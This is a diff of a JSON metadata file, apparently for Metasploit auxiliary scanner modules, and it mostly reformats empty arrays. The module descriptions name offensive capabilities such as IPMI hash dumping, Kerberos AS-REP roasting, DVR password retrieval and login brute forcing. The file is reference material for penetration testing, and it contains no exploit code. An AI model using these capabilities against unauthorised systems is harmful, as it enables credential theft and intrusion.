+41387,12 @@ "kris katterjohn " ], "description": "This module will probe hosts' IPID sequences and classify\n them using the same method Nmap uses when it's performing\n its IPID Idle Scan (-sI) and OS Detection (-O).\n\n Nmap's probes are SYN/ACKs while this module's are SYNs.\n While this does not change the underlying functionality,\n it does change the chance of whether or not the probe\n will be stopped by a firewall.\n\n Nmap's Idle Scan can use hosts whose IPID sequences are\n classified as \"Incremental\" or \"Broken little-endian incremental\".", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ip/ipidseq.rb", @@ -47375,20 +41401,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ipmi/ipmi_cipher_zero": { "name": "IPMI 2.0 Cipher Zero Authentication Bypass Scanner", "fullname": "auxiliary/scanner/ipmi/ipmi_cipher_zero", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-20", "type": "auxiliary", @@ -47407,12 +41428,8 @@ "platform": "", "arch": "", "rport": 623, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb", @@ -47421,20 +41438,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ipmi/ipmi_dumphashes": { "name": "IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval", "fullname": "auxiliary/scanner/ipmi/ipmi_dumphashes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-20", "type": "auxiliary", @@ -47453,12 +41465,8 @@ "platform": "", "arch": "", "rport": 623, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-06-23 00:48:36 +0000", "path": "/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb", @@ -47467,20 +41475,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ipmi/ipmi_version": { "name": "IPMI Information Discovery", "fullname": "auxiliary/scanner/ipmi/ipmi_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47495,12 +41498,8 @@ "platform": "", "arch": "", "rport": 623, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/ipmi/ipmi_version.rb", @@ -47509,20 +41508,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ivanti/login_scanner": { "name": "Ivanti Connect Secure HTTP Scanner", "fullname": "auxiliary/scanner/ivanti/login_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47530,9 +41524,7 @@ "msutovsky-r7" ], "description": "This module will perform authentication scanning against Ivanti Connect Secure", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -47563,9 +41555,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "account-lockouts" @@ -47573,16 +41563,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/jenkins/jenkins_udp_broadcast_enum": { "name": "Jenkins Server Broadcast Enumeration", "fullname": "auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47597,12 +41583,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 04:43:37 +0000", "path": "/modules/auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum.rb", @@ -47611,20 +41593,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/kademlia/server_info": { "name": "Gather Kademlia Server Information", "fullname": "auxiliary/scanner/kademlia/server_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47638,12 +41615,8 @@ "platform": "", "arch": "", "rport": 4672, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/kademlia/server_info.rb", @@ -47652,8 +41625,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -47670,9 +41642,7 @@ "auxiliary_scanner/kerberos/kerberos_login": { "name": "Kerberos Authentication Check Scanner", "fullname": "auxiliary/scanner/kerberos/kerberos_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47680,18 +41650,12 @@ "alanfoster" ], "description": "This module will test Kerberos logins on a range of machines and\n report successful logins. If you have loaded a database plugin\n and connected to a database this module will record successful\n logins and hosts so you can track your access.\n\n Kerberos accounts which do not require pre-authentication will\n have the TGT logged for offline cracking, this technique is known as AS-REP Roasting.\n\n It is also able to identify whether user accounts are enabled or\n disabled/locked out.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-12-14 18:28:16 +0000", "path": "/modules/auxiliary/scanner/kerberos/kerberos_login.rb", @@ -47704,9 +41668,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "account-lockouts", "ioc-in-logs" @@ -47714,16 +41676,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ldap/ldap_login": { "name": "LDAP Login Scanner", "fullname": "auxiliary/scanner/ldap/ldap_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47731,18 +41689,12 @@ "Dean Welch" ], "description": "This module attempts to login to the LDAP service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2025-01-29 11:10:30 +0000", "path": "/modules/auxiliary/scanner/ldap/ldap_login.rb", @@ -47755,25 +41707,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/llmnr/query": { "name": "LLMNR Query", "fullname": "auxiliary/scanner/llmnr/query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47781,18 +41725,12 @@ "Jon Hart " ], "description": "This module sends LLMNR queries, which are really just normal UDP DNS\n queries done (usually) over multicast on a different port, 5355.\n Targets other than the default RHOSTS' 224.0.0.252 should not respond\n but may anyway.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5355, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/llmnr/query.rb", @@ -47801,20 +41739,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/lotus/lotus_domino_hashes": { "name": "Lotus Domino Password Hash Collector", "fullname": "auxiliary/scanner/lotus/lotus_domino_hashes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47851,20 +41784,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/lotus/lotus_domino_login": { "name": "Lotus Domino Brute Force Utility", "fullname": "auxiliary/scanner/lotus/lotus_domino_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47872,9 +41800,7 @@ "Tiago Ferreira " ], "description": "Lotus Domino Authentication Brute Force Utility", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -47901,20 +41827,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/lotus/lotus_domino_version": { "name": "Lotus Domino Version", "fullname": "auxiliary/scanner/lotus/lotus_domino_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47922,9 +41843,7 @@ "CG " ], "description": "Several checks to determine Lotus Domino Server Version.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -47951,20 +41870,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/mdns/query": { "name": "mDNS Query", "fullname": "auxiliary/scanner/mdns/query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47972,18 +41886,12 @@ "Jon Hart " ], "description": "This module sends mDNS queries, which are really just normal UDP DNS\n queries done (usually) over multicast on a different port, 5353.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5353, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/mdns/query.rb", @@ -47992,20 +41900,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/memcached/memcached_amp": { "name": "Memcached Stats Amplification Scanner", "fullname": "auxiliary/scanner/memcached/memcached_amp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-02-27", "type": "auxiliary", @@ -48022,12 +41925,8 @@ "platform": "", "arch": "", "rport": 11211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/memcached/memcached_amp.rb", @@ -48036,20 +41935,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/memcached/memcached_udp_version": { "name": "Memcached UDP Version Scanner", "fullname": "auxiliary/scanner/memcached/memcached_udp_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-07-23", "type": "auxiliary", @@ -48063,12 +41957,8 @@ "platform": "", "arch": "", "rport": 11211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/memcached/memcached_udp_version.rb", @@ -48077,20 +41967,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/cctv_dvr_login": { "name": "CCTV DVR Login Scanning Utility", "fullname": "auxiliary/scanner/misc/cctv_dvr_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48098,18 +41983,12 @@ "Justin Cacak" ], "description": "This module tests for standalone CCTV DVR video surveillance\n deployments specifically by MicroDigital, HIVISION, CTRing, and\n numerous other rebranded devices that are utilizing default vendor\n passwords. Additionally, this module has the ability to brute\n force user accounts.\n\n Such CCTV DVR video surveillance deployments support remote\n viewing through Central Management Software (CMS) via the\n CMS Web Client, an IE ActiveX control hosted over HTTP, or\n through Win32 or mobile CMS client software. By default,\n remote authentication is handled over port 5920/TCP with video\n streaming over 5921/TCP.\n\n After successful authentication over 5920/TCP this module\n will then attempt to determine if the IE ActiveX control\n is listening on the default HTTP port (80/TCP).", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5920, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/cctv_dvr_login.rb", @@ -48118,20 +41997,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/cisco_smart_install": { "name": "Identify Cisco Smart Install endpoints", "fullname": "auxiliary/scanner/misc/cisco_smart_install", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48141,7 +42015,7 @@ ], "description": "This module attempts to connect to the specified Cisco Smart Install port\n and determines if it speaks the Smart Install Protocol. Exposure of SMI\n to untrusted networks can allow complete compromise of the switch.", "references": [ - "URL-https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html", + "URL-http://web.archive.org/web/20221003014218/http://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html", "URL-https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature", "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi", "URL-https://github.com/Cisco-Talos/smi_check", @@ -48150,22 +42024,17 @@ "platform": "", "arch": "", "rport": 4786, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/misc/cisco_smart_install.rb", "is_install_path": true, "ref_name": "scanner/misc/cisco_smart_install", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -48182,9 +42051,7 @@ "auxiliary_scanner/misc/clamav_control": { "name": "ClamAV Remote Command Transmitter", "fullname": "auxiliary/scanner/misc/clamav_control", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-06-08", "type": "auxiliary", @@ -48201,12 +42068,8 @@ "platform": "", "arch": "", "rport": 3310, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-05-12 22:15:21 +0000", "path": "/modules/auxiliary/scanner/misc/clamav_control.rb", @@ -48215,8 +42078,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -48233,9 +42095,7 @@ "auxiliary_scanner/misc/cups_browsed_info_disclosure": { "name": "cups-browsed Information Disclosure", "fullname": "auxiliary/scanner/misc/cups_browsed_info_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48251,12 +42111,8 @@ "platform": "", "arch": "", "rport": 631, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-09-28 02:35:39 +0000", "path": "/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.rb", @@ -48265,20 +42121,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/dahua_dvr_auth_bypass": { "name": "Dahua DVR Auth Bypass Scanner", "fullname": "auxiliary/scanner/misc/dahua_dvr_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48296,12 +42147,8 @@ "platform": "", "arch": "", "rport": 37777, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb", @@ -48310,8 +42157,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -48356,9 +42202,7 @@ "auxiliary_scanner/misc/dvr_config_disclosure": { "name": "Multiple DVR Manufacturers Configuration Disclosure", "fullname": "auxiliary/scanner/misc/dvr_config_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48397,20 +42241,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/easycafe_server_fileaccess": { "name": "EasyCafe Server Remote File Access", "fullname": "auxiliary/scanner/misc/easycafe_server_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48425,12 +42264,8 @@ "platform": "", "arch": "", "rport": 831, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-01-10 19:19:14 +0000", "path": "/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb", @@ -48439,20 +42274,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/freeswitch_event_socket_login": { "name": "FreeSWITCH Event Socket Login", "fullname": "auxiliary/scanner/misc/freeswitch_event_socket_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48466,12 +42296,8 @@ "platform": "", "arch": "", "rport": 8021, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.rb", @@ -48484,25 +42310,17 @@ "Stability": [ "crash-service-restarts" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/ib_service_mgr_info": { "name": "Borland InterBase Services Manager Information", "fullname": "auxiliary/scanner/misc/ib_service_mgr_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48511,18 +42329,12 @@ "Adriano Lima " ], "description": "This module retrieves version of the services manager, version\n and implementation of the InterBase server from InterBase\n Services Manager.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb", @@ -48531,20 +42343,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/ibm_mq_channel_brute": { "name": "IBM WebSphere MQ Channel Name Bruteforce", "fullname": "auxiliary/scanner/misc/ibm_mq_channel_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48552,18 +42359,12 @@ "Petros Koutroumpis" ], "description": "This module uses a dictionary to bruteforce MQ channel names. For all identified channels it also returns if SSL is used and whether it is a server-connection channel.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1414, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-11-20 16:24:17 +0000", "path": "/modules/auxiliary/scanner/misc/ibm_mq_channel_brute.rb", @@ -48572,20 +42373,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/ibm_mq_enum": { "name": "Identify Queue Manager Name and MQ Version", "fullname": "auxiliary/scanner/misc/ibm_mq_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48593,18 +42389,12 @@ "Petros Koutroumpis" ], "description": "Run this auxiliary against the listening port of an IBM MQ Queue Manager to identify its name and version. Any channel type can be used to get this information as long as the name of the channel is valid.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-11-21 16:09:18 +0000", "path": "/modules/auxiliary/scanner/misc/ibm_mq_enum.rb", @@ -48613,20 +42403,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/ibm_mq_login": { "name": "IBM WebSphere MQ Login Check", "fullname": "auxiliary/scanner/misc/ibm_mq_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48634,18 +42419,12 @@ "Petros Koutroumpis" ], "description": "This module can be used to bruteforce usernames that can be used to connect to a queue manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1414, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-08-15 18:10:44 +0000", "path": "/modules/auxiliary/scanner/misc/ibm_mq_login.rb", @@ -48654,20 +42433,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/java_jmx_server": { "name": "Java JMX Server Insecure Endpoint Code Execution Scanner", "fullname": "auxiliary/scanner/misc/java_jmx_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-22", "type": "auxiliary", @@ -48683,12 +42457,8 @@ "platform": "Java", "arch": "", "rport": 1099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-12-19 12:56:53 +0000", "path": "/modules/auxiliary/scanner/misc/java_jmx_server.rb", @@ -48697,20 +42467,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/java_rmi_server": { "name": "Java RMI Server Insecure Endpoint Code Execution Scanner", "fullname": "auxiliary/scanner/misc/java_rmi_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-15", "type": "auxiliary", @@ -48727,12 +42492,8 @@ "platform": "", "arch": "", "rport": 1099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-08-26 12:34:03 +0000", "path": "/modules/auxiliary/scanner/misc/java_rmi_server.rb", @@ -48741,20 +42502,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/oki_scanner": { "name": "OKI Printer Default Login Credential Scanner", "fullname": "auxiliary/scanner/misc/oki_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48762,18 +42518,12 @@ "antr6X " ], "description": "This module scans for OKI printers via SNMP, then tries to connect to found devices\n with vendor default administrator credentials via HTTP authentication. By default, OKI\n network printers use the last six digits of the MAC as admin password.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/misc/oki_scanner.rb", @@ -48782,20 +42532,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/poisonivy_control_scanner": { "name": "Poison Ivy Command and Control Scanner", "fullname": "auxiliary/scanner/misc/poisonivy_control_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48803,18 +42548,12 @@ "SeawolfRN" ], "description": "Enumerate Poison Ivy Command and Control (C&C) on ports 3460, 80, 8080 and 443. Adaptation of iTrust Python script.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb", @@ -48823,20 +42562,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/raysharp_dvr_passwords": { "name": "Ray Sharp DVR Password Retriever", "fullname": "auxiliary/scanner/misc/raysharp_dvr_passwords", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48851,12 +42585,8 @@ "platform": "", "arch": "", "rport": 9000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb", @@ -48865,20 +42595,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/rocketmq_version": { "name": "Apache RocketMQ Version Scanner", "fullname": "auxiliary/scanner/misc/rocketmq_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48894,12 +42619,8 @@ "platform": "", "arch": "", "rport": 9876, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-06-22 01:29:33 +0000", "path": "/modules/auxiliary/scanner/misc/rocketmq_version.rb", @@ -48909,28 +42630,18 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/rosewill_rxs3211_passwords": { "name": "Rosewill RXS-3211 IP Camera Password Retriever", "fullname": "auxiliary/scanner/misc/rosewill_rxs3211_passwords", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -48938,18 +42649,12 @@ "Ben Schmidt" ], "description": "This module takes advantage of a protocol design issue with the Rosewill admin\n executable in order to retrieve passwords, allowing remote attackers to take\n administrative control over the device. Other similar IP Cameras such as Edimax,\n Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.\n The protocol design issue also allows attackers to reset passwords on the device.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 13364, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb", @@ -48958,20 +42663,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/misc/sercomm_backdoor_scanner": { "name": "SerComm Network Device Backdoor Detection", "fullname": "auxiliary/scanner/misc/sercomm_backdoor_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-31", "type": "auxiliary", @@ -48988,12 +42688,8 @@ "platform": "", "arch": "", "rport": 32764, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb", @@ -49002,20 